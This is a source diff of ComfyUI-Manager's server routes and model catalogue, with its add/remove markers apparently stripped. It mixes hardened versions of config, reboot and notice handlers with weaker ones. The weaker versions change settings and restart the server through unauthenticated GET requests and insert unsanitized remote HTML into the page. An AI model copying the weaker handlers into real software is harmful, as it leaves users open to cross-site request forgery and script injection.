|
||||
|
||||
@routes.post("/v2/manager/queue/disable")
|
||||
async def disable_node(request):
|
||||
json_data = await request.json()
|
||||
await _disable_node(json_data)
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
async def _disable_node(json_data):
|
||||
@@ -1758,90 +1720,86 @@ async def _install_model(json_data):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/preview_method")
|
||||
async def preview_method(request):
|
||||
if "value" in request.rel_url.query:
|
||||
set_preview_method(request.rel_url.query['value'])
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.manager_funcs.get_current_preview_method(), status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/db_mode")
|
||||
async def db_mode(request):
|
||||
return web.Response(text=core.get_config()['db_mode'], status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/db_mode")
|
||||
async def set_db_mode_api(request):
|
||||
# Config writes are at the same risk tier as uninstall/update — apply the
|
||||
# 'middle' gate consistent with snapshot/remove, etc. Content-Type gate is
|
||||
# NOT applied here: this handler consumes application/json and a
|
||||
# cross-origin <form method=POST> cannot forge that without triggering
|
||||
# CORS preflight (see module docstring in common/manager_security.py).
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
set_db_mode(data['value'])
|
||||
if "value" in request.rel_url.query:
|
||||
set_db_mode(request.rel_url.query['value'])
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text='Invalid request')
|
||||
else:
|
||||
return web.Response(text=core.get_config()['db_mode'], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
|
||||
@routes.get("/v2/manager/policy/component")
|
||||
async def component_policy(request):
|
||||
if "value" in request.rel_url.query:
|
||||
set_component_policy(request.rel_url.query['value'])
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.get_config()['component_policy'], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/policy/update")
|
||||
async def update_policy(request):
|
||||
return web.Response(text=core.get_config()['update_policy'], status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/policy/update")
|
||||
async def set_update_policy_api(request):
|
||||
# See set_db_mode_api above for gate rationale.
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
set_update_policy(data['value'])
|
||||
if "value" in request.rel_url.query:
|
||||
set_update_policy(request.rel_url.query['value'])
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text='Invalid request')
|
||||
else:
|
||||
return web.Response(text=core.get_config()['update_policy'], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/channel_url_list")
|
||||
async def channel_url_list(request):
|
||||
channels = core.get_channel_dict()
|
||||
selected = 'custom'
|
||||
selected_url = core.get_config()['channel_url']
|
||||
if "value" in request.rel_url.query:
|
||||
channel_url = channels.get(request.rel_url.query['value'])
|
||||
if channel_url is not None:
|
||||
core.get_config()['channel_url'] = channel_url
|
||||
core.write_config()
|
||||
else:
|
||||
selected = 'custom'
|
||||
selected_url = core.get_config()['channel_url']
|
||||
|
||||
for name, url in channels.items():
|
||||
if url == selected_url:
|
||||
selected = name
|
||||
break
|
||||
for name, url in channels.items():
|
||||
if url == selected_url:
|
||||
selected = name
|
||||
break
|
||||
|
||||
res = {'selected': selected,
|
||||
'list': core.get_channel_list()}
|
||||
return web.json_response(res, status=200)
|
||||
res = {'selected': selected,
|
||||
'list': core.get_channel_list()}
|
||||
return web.json_response(res, status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/channel_url_list")
|
||||
async def set_channel_url(request):
|
||||
# See set_db_mode_api above for gate rationale.
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
channels = core.get_channel_dict()
|
||||
channel_url = channels.get(data['value'])
|
||||
if channel_url is None:
|
||||
# Reject unknown channel name explicitly instead of silent no-op.
|
||||
# Parity with glob set_channel_url (comfyui_manager/glob/manager_server.py)
|
||||
# and with set_db_mode / set_update_policy whitelist enforcement.
|
||||
return web.Response(
|
||||
status=400,
|
||||
text=f"Invalid channel name {data['value']!r}; "
|
||||
f"must be one of {sorted(channels.keys())}",
|
||||
)
|
||||
core.get_config()['channel_url'] = channel_url
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text='Invalid request')
|
||||
def add_target_blank(html_text):
|
||||
pattern = r'(<a\s+href="[^"]*"\s*[^>]*)(>)'
|
||||
|
||||
def add_target(match):
|
||||
if 'target=' not in match.group(1):
|
||||
return match.group(1) + ' target="_blank"' + match.group(2)
|
||||
return match.group(0)
|
||||
|
||||
modified_html = re.sub(pattern, add_target, html_text)
|
||||
|
||||
return modified_html
|
||||
|
||||
|
||||
@routes.get("/v2/manager/notice")
|
||||
@@ -1859,9 +1817,7 @@ async def get_notice(request):
|
||||
match = pattern.search(html_content)
|
||||
|
||||
if match:
|
||||
# Remote page content lands in innerHTML on the client:
|
||||
# keep formatting markup only.
|
||||
markdown_content = html_utils.sanitize_html_fragment(match.group(1))
|
||||
markdown_content = match.group(1)
|
||||
version_tag = os.environ.get('__COMFYUI_DESKTOP_VERSION__')
|
||||
if version_tag is not None:
|
||||
markdown_content += f"<HR>ComfyUI: {version_tag} [Desktop]"
|
||||
@@ -1875,6 +1831,8 @@ async def get_notice(request):
|
||||
# markdown_content += f"<BR> ()"
|
||||
markdown_content += f"<BR>Manager: {core.version_str}"
|
||||
|
||||
markdown_content = add_target_blank(markdown_content)
|
||||
|
||||
try:
|
||||
if '__COMFYUI_DESKTOP_VERSION__' not in os.environ:
|
||||
if core.comfy_ui_commit_datetime == datetime(1900, 1, 1, 0, 0, 0):
|
||||
@@ -1892,12 +1850,13 @@ async def get_notice(request):
|
||||
|
||||
|
||||
# legacy /manager/notice
|
||||
@routes.get("/manager/notice")
|
||||
async def get_notice_legacy(request):
|
||||
return web.Response(text="""<font color="red">Starting from ComfyUI-Manager V4.0+, it should be installed via pip.<BR><BR>Please remove the ComfyUI-Manager installed in the <font color="white">'custom_nodes'</font> directory.</font>""", status=200)
|
||||
|
||||
@routes.post("/v2/manager/reboot")
|
||||
def restart(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
|
||||
@routes.get("/v2/manager/reboot")
|
||||
def restart(self):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
@@ -1933,6 +1892,61 @@ def restart(request):
|
||||
return os.execv(sys.executable, cmds)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/component/save")
|
||||
async def save_component(request):
|
||||
try:
|
||||
data = await request.json()
|
||||
name = data['name']
|
||||
workflow = data['workflow']
|
||||
|
||||
if not os.path.exists(context.manager_components_path):
|
||||
os.mkdir(context.manager_components_path)
|
||||
|
||||
if 'packname' in workflow and workflow['packname'] != '':
|
||||
sanitized_name = manager_util.sanitize_filename(workflow['packname']) + '.pack'
|
||||
else:
|
||||
sanitized_name = manager_util.sanitize_filename(name) + '.json'
|
||||
|
||||
filepath = os.path.join(context.manager_components_path, sanitized_name)
|
||||
components = {}
|
||||
if os.path.exists(filepath):
|
||||
with open(filepath) as f:
|
||||
components = json.load(f)
|
||||
|
||||
components[name] = workflow
|
||||
|
||||
with open(filepath, 'w') as f:
|
||||
json.dump(components, f, indent=4, sort_keys=True)
|
||||
return web.Response(text=filepath, status=200)
|
||||
except Exception:
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/component/loads")
|
||||
async def load_components(request):
|
||||
if os.path.exists(context.manager_components_path):
|
||||
try:
|
||||
json_files = [f for f in os.listdir(context.manager_components_path) if f.endswith('.json')]
|
||||
pack_files = [f for f in os.listdir(context.manager_components_path) if f.endswith('.pack')]
|
||||
|
||||
components = {}
|
||||
for json_file in json_files + pack_files:
|
||||
file_path = os.path.join(context.manager_components_path, json_file)
|
||||
with open(file_path, 'r') as file:
|
||||
try:
|
||||
# When there is a conflict between the .pack and the .json, the pack takes precedence and overrides.
|
||||
components.update(json.load(file))
|
||||
except json.JSONDecodeError as e:
|
||||
logging.error(f"[ComfyUI-Manager] Error decoding component file in file {json_file}: {e}")
|
||||
|
||||
return web.json_response(components)
|
||||
except Exception as e:
|
||||
logging.error(f"[ComfyUI-Manager] failed to load components\n{e}")
|
||||
return web.Response(status=400)
|
||||
else:
|
||||
return web.json_response({})
|
||||
|
||||
|
||||
@routes.get("/v2/manager/version")
|
||||
async def get_version(request):
|
||||
return web.Response(text=core.version_str, status=200)
|
||||
@@ -2011,13 +2025,9 @@ if not os.path.exists(context.manager_config_path):
|
||||
|
||||
|
||||
# policy setup
|
||||
# WI-V: removed stale references to reinstall_custom_node / install_custom_node /
|
||||
# fix_custom_node — these legacy handlers were deleted in prior refactors
|
||||
# (likely the CSRF POST-conversion / security level work). Their remaining
|
||||
# add_handler_policy() calls raised NameError at module import, aborting
|
||||
# `comfyui_manager.start()`'s legacy branch before EXTENSION_WEB_DIRS could
|
||||
# register the legacy-UI JS directory — which is why the legacy Manager
|
||||
# button never rendered in the ComfyUI toolbar for Playwright tests.
|
||||
manager_security.add_handler_policy(reinstall_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(install_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(fix_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(install_custom_node_git_url, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(install_custom_node_pip, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(install_model, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
|
||||
@@ -10,16 +10,6 @@ import hashlib
|
||||
|
||||
import folder_paths
|
||||
from server import PromptServer
|
||||
import logging
|
||||
import sys
|
||||
|
||||
|
||||
try:
|
||||
from nio import AsyncClient, LoginResponse, UploadResponse
|
||||
matrix_nio_is_available = True
|
||||
except Exception:
|
||||
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
|
||||
matrix_nio_is_available = False
|
||||
|
||||
|
||||
def extract_model_file_names(json_data):
|
||||
@@ -202,14 +192,6 @@ async def get_esheep_workflow_and_images(request):
|
||||
return web.Response(status=200, text=json.dumps(data))
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
|
||||
async def get_matrix_dep_status(request):
|
||||
if matrix_nio_is_available:
|
||||
return web.Response(status=200, text='available')
|
||||
else:
|
||||
return web.Response(status=200, text='unavailable')
|
||||
|
||||
|
||||
def set_matrix_auth(json_data):
|
||||
homeserver = json_data['homeserver']
|
||||
username = json_data['username']
|
||||
@@ -349,12 +331,14 @@ async def share_art(request):
|
||||
workflowId = upload_workflow_json["workflowId"]
|
||||
|
||||
# check if the user has provided Matrix credentials
|
||||
if matrix_nio_is_available and "matrix" in share_destinations:
|
||||
if "matrix" in share_destinations:
|
||||
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
|
||||
filename = os.path.basename(asset_filepath)
|
||||
content_type = assetFileType
|
||||
|
||||
try:
|
||||
from nio import AsyncClient, LoginResponse, UploadResponse
|
||||
|
||||
homeserver = 'matrix.org'
|
||||
if matrix_auth:
|
||||
homeserver = matrix_auth.get('homeserver', 'matrix.org')
|
||||
|
||||
@@ -5355,317 +5355,6 @@
|
||||
"filename": "LBM_relighting.safetensors",
|
||||
"url": "https://huggingface.co/jasperai/LBM_relighting/resolve/main/model.safetensors",
|
||||
"size": "5.02GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image VAE",
|
||||
"type": "VAE",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "vae/qwen-image",
|
||||
"description": "VAE model for Qwen-Image",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_image_vae.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/vae/qwen_image_vae.safetensors",
|
||||
"size": "335MB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen 2.5 VL 7B Text Encoder (fp8_scaled)",
|
||||
"type": "clip",
|
||||
"base": "Qwen-2.5-VL",
|
||||
"save_path": "text_encoders/qwen",
|
||||
"description": "Qwen 2.5 VL 7B text encoder model (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_2.5_vl_7b_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors",
|
||||
"size": "3.75GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen 2.5 VL 7B Text Encoder",
|
||||
"type": "clip",
|
||||
"base": "Qwen-2.5-VL",
|
||||
"save_path": "text_encoders/qwen",
|
||||
"description": "Qwen 2.5 VL 7B text encoder model",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_2.5_vl_7b.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b.safetensors",
|
||||
"size": "7.51GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image Diffusion Model (fp8_e4m3fn)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "diffusion_models/qwen-image",
|
||||
"description": "Qwen-Image diffusion model (fp8_e4m3fn)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_image_fp8_e4m3fn.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_fp8_e4m3fn.safetensors",
|
||||
"size": "4.89GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image Diffusion Model (bf16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "diffusion_models/qwen-image",
|
||||
"description": "Qwen-Image diffusion model (bf16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_image_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_bf16.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit 2509 Diffusion Model (fp8_e4m3fn)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "diffusion_models/qwen-image-edit",
|
||||
"description": "Qwen-Image-Edit 2509 diffusion model (fp8_e4m3fn)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
|
||||
"filename": "qwen_image_edit_2509_fp8_e4m3fn.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors",
|
||||
"size": "4.89GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Qwen-Image-Edit 2509 Diffusion Model (bf16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "diffusion_models/qwen-image-edit",
|
||||
"description": "Qwen-Image-Edit 2509 diffusion model (bf16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
|
||||
"filename": "qwen_image_edit_2509_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_bf16.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Qwen-Image-Edit Diffusion Model (fp8_e4m3fn)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "diffusion_models/qwen-image-edit",
|
||||
"description": "Qwen-Image-Edit diffusion model (fp8_e4m3fn)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
|
||||
"filename": "qwen_image_edit_fp8_e4m3fn.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_fp8_e4m3fn.safetensors",
|
||||
"size": "4.89GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Qwen-Image-Edit Diffusion Model (bf16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "diffusion_models/qwen-image-edit",
|
||||
"description": "Qwen-Image-Edit diffusion model (bf16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
|
||||
"filename": "qwen_image_edit_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_bf16.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V1.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V1.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V1.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 4steps V1.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 4-step LoRA model V1.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-4steps-V1.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V1.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 4steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 4-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 4steps V2.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 4-step LoRA model V2.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-4steps-V2.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V2.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 4steps V2.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 4-step LoRA model V2.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-4steps-V2.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V2.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V1.1",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V1.1",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V1.1.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.1.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V1.1 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V1.1 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V1.1-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.1-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V2.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V2.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V2.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V2.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V2.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V2.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V2.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V2.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-Lightning 4steps V1.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-Lightning 4-step LoRA model V1.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-Lightning-4steps-V1.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-4steps-V1.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-Lightning 4steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-Lightning 4-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-Lightning 8steps V1.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-Lightning 8-step LoRA model V1.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-Lightning-8steps-V1.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-8steps-V1.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-Lightning 8steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-Lightning 8-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-Lightning-8steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-8steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-2509-Lightning 4steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-2509-Lightning 4-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-2509-Lightning 4steps V1.0 (fp32)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-2509-Lightning 4-step LoRA model V1.0 (fp32)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-2509-Lightning-4steps-V1.0-fp32.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-fp32.safetensors",
|
||||
"size": "39.1GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-2509-Lightning 8steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-2509-Lightning 8-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-2509-Lightning-8steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-8steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-2509-Lightning 8steps V1.0 (fp32)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-2509-Lightning 8-step LoRA model V1.0 (fp32)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-2509-Lightning-8steps-V1.0-fp32.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-8steps-V1.0-fp32.safetensors",
|
||||
"size": "39.1GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image InstantX ControlNet Union",
|
||||
